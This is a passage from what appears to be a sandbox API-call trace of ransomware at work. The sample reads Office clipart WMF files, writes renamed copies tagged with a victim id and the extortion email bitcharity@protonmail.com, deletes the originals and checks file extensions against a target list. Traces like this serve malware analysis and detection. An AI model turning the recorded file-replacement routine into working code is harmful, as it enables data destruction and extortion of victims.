lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xa4c, lpOverlapped=0x0) returned 1 [0298.974] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xa50, lpOverlapped=0x0) returned 1 [0298.975] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.975] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.975] SetEndOfFile (hFile=0x1088) returned 1 [0298.975] CloseHandle (hObject=0x1088) returned 1 [0298.975] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.975] SetEndOfFile (hFile=0x10d0) returned 1 [0298.976] CloseHandle (hObject=0x10d0) returned 1 [0298.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.977] lstrlenW (lpString=".doc") returned 4 [0298.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.977] lstrlenW (lpString=".docx") returned 5 [0298.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.977] lstrlenW (lpString=".pdf") returned 4 [0298.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.977] lstrlenW (lpString=".xls") returned 4 [0298.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.977] lstrlenW (lpString=".xlsx") returned 5 [0298.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.977] lstrlenW (lpString=".ppt") returned 4 [0298.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.977] lstrlenW (lpString=".zip") returned 4 [0298.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.977] lstrlenW (lpString=".rar") returned 4 [0298.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.977] lstrlenW (lpString=".bz2") returned 4 [0298.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.977] lstrlenW (lpString=".7z") returned 3 [0298.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.977] lstrlenW (lpString=".dbf") returned 4 [0298.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.977] lstrlenW (lpString=".1cd") returned 4 [0298.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.977] lstrlenW (lpString=".jpg") returned 4 [0298.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.978] lstrlenW (lpString=".doc") returned 4 [0298.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.978] lstrlenW (lpString=".docx") returned 5 [0298.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.978] lstrlenW (lpString=".pdf") returned 4 [0298.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.978] lstrlenW (lpString=".xls") returned 4 [0298.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.978] lstrlenW (lpString=".xlsx") returned 5 [0298.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.978] lstrlenW (lpString=".ppt") returned 4 [0298.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.978] lstrlenW (lpString=".zip") returned 4 [0298.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.978] lstrlenW (lpString=".rar") returned 4 [0298.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.978] lstrlenW (lpString=".bz2") returned 4 [0298.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.978] lstrlenW (lpString=".7z") returned 3 [0298.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.978] lstrlenW (lpString=".dbf") returned 4 [0298.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.978] lstrlenW (lpString=".1cd") returned 4 [0298.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0298.978] lstrlenW (lpString=".jpg") returned 4 [0298.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.978] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.978] lstrlenW (lpString="FLAP.WMF") returned 8 [0298.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0298.979] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2070) returned 1 [0298.979] CloseHandle (hObject=0x10d0) returned 1 [0298.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0298.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0298.979] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.979] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.980] GetLastError () returned 0x0 [0298.980] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x816, lpOverlapped=0x0) returned 1 [0299.051] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x820, lpOverlapped=0x0) returned 1 [0299.053] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.053] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xe4, lpOverlapped=0x0) returned 1 [0299.053] SetEndOfFile (hFile=0x1088) returned 1 [0299.053] CloseHandle (hObject=0x1088) returned 1 [0299.053] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.053] SetEndOfFile (hFile=0x10d0) returned 1 [0299.054] CloseHandle (hObject=0x10d0) returned 1 [0299.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0299.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.054] lstrlenW (lpString=".doc") returned 4 [0299.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.054] lstrlenW (lpString=".docx") returned 5 [0299.054] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0299.054] lstrlenW (lpString=".pdf") returned 4 [0299.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.054] lstrlenW (lpString=".xls") returned 4 [0299.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.054] lstrlenW (lpString=".xlsx") returned 5 [0299.054] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0299.055] lstrlenW (lpString=".ppt") returned 4 [0299.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.055] lstrlenW (lpString=".zip") returned 4 [0299.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.055] lstrlenW (lpString=".rar") returned 4 [0299.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.055] lstrlenW (lpString=".bz2") returned 4 [0299.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.055] lstrlenW (lpString=".7z") returned 3 [0299.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.055] lstrlenW (lpString=".dbf") returned 4 [0299.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.055] lstrlenW (lpString=".1cd") returned 4 [0299.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.055] lstrlenW (lpString=".jpg") returned 4 [0299.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.055] lstrlenW (lpString=".doc") returned 4 [0299.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.055] lstrlenW (lpString=".docx") returned 5 [0299.055] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0299.055] lstrlenW (lpString=".pdf") returned 4 [0299.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.056] lstrlenW (lpString=".xls") returned 4 [0299.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.056] lstrlenW (lpString=".xlsx") returned 5 [0299.056] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0299.056] lstrlenW (lpString=".ppt") returned 4 [0299.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.056] lstrlenW (lpString=".zip") returned 4 [0299.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.056] lstrlenW (lpString=".rar") returned 4 [0299.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.056] lstrlenW (lpString=".bz2") returned 4 [0299.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.056] lstrlenW (lpString=".7z") returned 3 [0299.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.056] lstrlenW (lpString=".dbf") returned 4 [0299.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.056] lstrlenW (lpString=".1cd") returned 4 [0299.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0299.056] lstrlenW (lpString=".jpg") returned 4 [0299.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.056] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.056] lstrlenW (lpString="HH00236_.WMF") returned 12 [0299.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.057] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=3286) returned 1 [0299.057] CloseHandle (hObject=0x10d0) returned 1 [0299.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0299.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.057] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.057] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0299.058] GetLastError () returned 0x0 [0299.058] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xcd6, lpOverlapped=0x0) returned 1 [0299.150] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xce0, lpOverlapped=0x0) returned 1 [0299.151] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.151] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.152] SetEndOfFile (hFile=0x1088) returned 1 [0299.152] CloseHandle (hObject=0x1088) returned 1 [0299.152] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.152] SetEndOfFile (hFile=0x10d0) returned 1 [0299.153] CloseHandle (hObject=0x10d0) returned 1 [0299.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0299.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.153] lstrlenW (lpString=".doc") returned 4 [0299.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.153] lstrlenW (lpString=".docx") returned 5 [0299.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.153] lstrlenW (lpString=".pdf") returned 4 [0299.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.153] lstrlenW (lpString=".xls") returned 4 [0299.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.153] lstrlenW (lpString=".xlsx") returned 5 [0299.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.153] lstrlenW (lpString=".ppt") returned 4 [0299.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.154] lstrlenW (lpString=".zip") returned 4 [0299.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.154] lstrlenW (lpString=".rar") returned 4 [0299.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString=".bz2") returned 4 [0299.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString=".7z") returned 3 [0299.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.154] lstrlenW (lpString=".dbf") returned 4 [0299.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.154] lstrlenW (lpString=".1cd") returned 4 [0299.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.154] lstrlenW (lpString=".jpg") returned 4 [0299.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.154] lstrlenW (lpString=".doc") returned 4 [0299.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString=".docx") returned 5 [0299.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.154] lstrlenW (lpString=".pdf") returned 4 [0299.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString=".xls") returned 4 [0299.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.154] lstrlenW (lpString=".xlsx") returned 5 [0299.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.154] lstrlenW (lpString=".ppt") returned 4 [0299.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.154] lstrlenW (lpString=".zip") returned 4 [0299.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.154] lstrlenW (lpString=".rar") returned 4 [0299.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.155] lstrlenW (lpString=".bz2") returned 4 [0299.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.155] lstrlenW (lpString=".7z") returned 3 [0299.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.155] lstrlenW (lpString=".dbf") returned 4 [0299.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.155] lstrlenW (lpString=".1cd") returned 4 [0299.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0299.155] lstrlenW (lpString=".jpg") returned 4 [0299.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.155] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.155] lstrlenW (lpString="HH00443_.WMF") returned 12 [0299.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.155] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=3298) returned 1 [0299.155] CloseHandle (hObject=0x10d0) returned 1 [0299.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0299.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0299.156] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.156] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0299.156] GetLastError () returned 0x0 [0299.156] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xce2, lpOverlapped=0x0) returned 1 [0299.219] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: 